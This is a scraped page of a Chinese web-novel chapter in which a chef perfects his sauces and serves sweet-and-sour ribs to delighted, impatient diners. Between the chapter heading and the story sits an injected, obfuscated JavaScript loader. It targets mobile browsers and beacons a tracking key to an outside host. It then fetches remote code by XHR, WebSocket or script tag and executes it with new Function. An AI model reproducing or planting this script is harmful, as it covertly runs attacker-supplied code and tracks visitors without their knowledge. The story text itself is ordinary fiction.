足迹
叶皓辰楚君瑶
登录
关灯
护眼
字体:

第416章 大家一起嗦骨头(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

对所有的酱汁都重新自己调配,是董大师的题目,也是白叶自己的追求。

厨艺这东西实在是一日一日的烹饪中寻求进步,从来没有捷径。

白叶比旁人还多了点金手指,他的味觉更加敏感,对味道的把握早就被训练出来。

所以这半个月来,他这边的各种调料用的极费,有时候还让汪紫盛过来点评一下几种调料哪一种更好吃。

汪紫盛往往都是懵逼的,他仿佛吃出有点差别,又好像是他的错觉,这压根就没区别。

每次他找不出区别的时候,白叶都会神情凝重,然后又是研究一下午。

有时候汪紫盛都觉得他老板是不是在故意逗他玩。

直到最后,白叶调出味道鲜美可口,又有鲜明特色,汪紫盛才知道老板是真的在努力。

不过到底时间段,白叶改良出来的酱汁也就这几种。前面大拉皮和菠菜果仁用的就是一种调味汁的a版。

如今用来做糖醋小排的糖醋汁又是另外一种。

糖醋排骨的做法大致相同,做法也很简单,小排洗净泡水后,冷水下锅烧开排骨肉变色捞出,这个步骤在东北这边叫紧一下。

目的就是去腥,去血水。

这一步是绝不能直接用热水的,否则血水封在肉中,肉就彻底废了。

捞出的小排温水清洗,控干水分,再经过油炸让小排里的水分封锁在肉中,炸到表面金黄即可。

经过前面的汆烫,后面的油炸,基本上八成熟了,最后就是糖醋汁,将小排倒入翻炒,让小排均匀沾满酱汁入味,最后收汁出锅,撒上一把白芝麻。

说起来简单,做的时候也是熟能生巧,并不需要什么太专业的技巧,属于人人都能做的菜肴。

白叶很快就将糖醋小排出锅,白叶这是做惯了大锅菜的,区区两桌的排骨,自然是一锅就出来了。

直径一尺的长方形白瓷盘里,满满当当的都是排骨,周围点缀着白叶亲手雕琢的花朵。

“哥,咱们不是私房菜的精品小炒么?”汪紫盛看着这满满当当的两大盘子糖醋小排不敢置信地问道。

“是啊。”白叶漫不经心地端起另一盘子,“精品,和菜量有啥关系,咱主打的就是好吃又实诚。”

这一盘子糖醋小排,白叶定价一百二十八,还不兴多给点了。

“哥,你说的太有道理了,我竟然不知道怎么反驳。”

“那就赶紧送菜去。”

“好嘞!”

汪紫盛负责旺仔那一桌,白叶则是给周老板那边送去,顺便也看一下大家对于菜品的反应。

果然没出白叶的意料。

这一大盘子糖醋小排送进去,这一包厢里的客人都欢呼起来了,有几个还在鼓掌。

虽然他们这一桌加上周老板和张冰夫妻俩,也就七个人。但是前面那些菜,大家抢着吃,愣是没吃过瘾。

白切鸡也就算了,那本身本地就很少吃到,大家抢也还能接受。

怎么连大拉皮、菠菜果仁这些菜都抢啊!

现在总算是来了一个份量足足的,大家还能不开心。

“大家尝尝合不合口味。”

周老板都顾不得说话,急吼吼地夹起一块排骨,在一头嗦了一下,然后伸手捏着这边,从另一头将排骨咬下去。

排骨软嫩,已经脱骨,瞬间满口肉香,虽然有点烫,可也顾不上了。笔趣阁

周老板吃完了排骨,还舍不得丢,又嗦了两下骨头。

“别嗦了。”张冰一脸的不忍直视。

周老板认真解释,“不是,这骨头里面还能嗦到酱汁呢!”

张冰一愣,也嗦了一口,咦,还真是。

其他人见状也像是发现了新大陆,快乐的一起嗦骨头。

不过大家也有抱怨的地方。

“什么都好,就是不够吃的。你这下一道菜上来,我们早就等半天了。”

白叶笑了起来,“行,那我不耽搁了,赶紧去厨房继续做菜。”

隔壁白叶也照了一面,情况和隔壁差不多,都是赞美菜好吃,抱怨菜太慢。

这一瞬间白叶仿佛看到了柳鸿一般。

柳鸿天天追小说,一边留着口水说好看,推荐每一个认识的人看,一边又跺脚骂街:更新这么少,作者你短小无力,威胁着明天再也不看了。

可刚刚过更新的点,又忍不住去摸手机,笑得一脸痴汉样。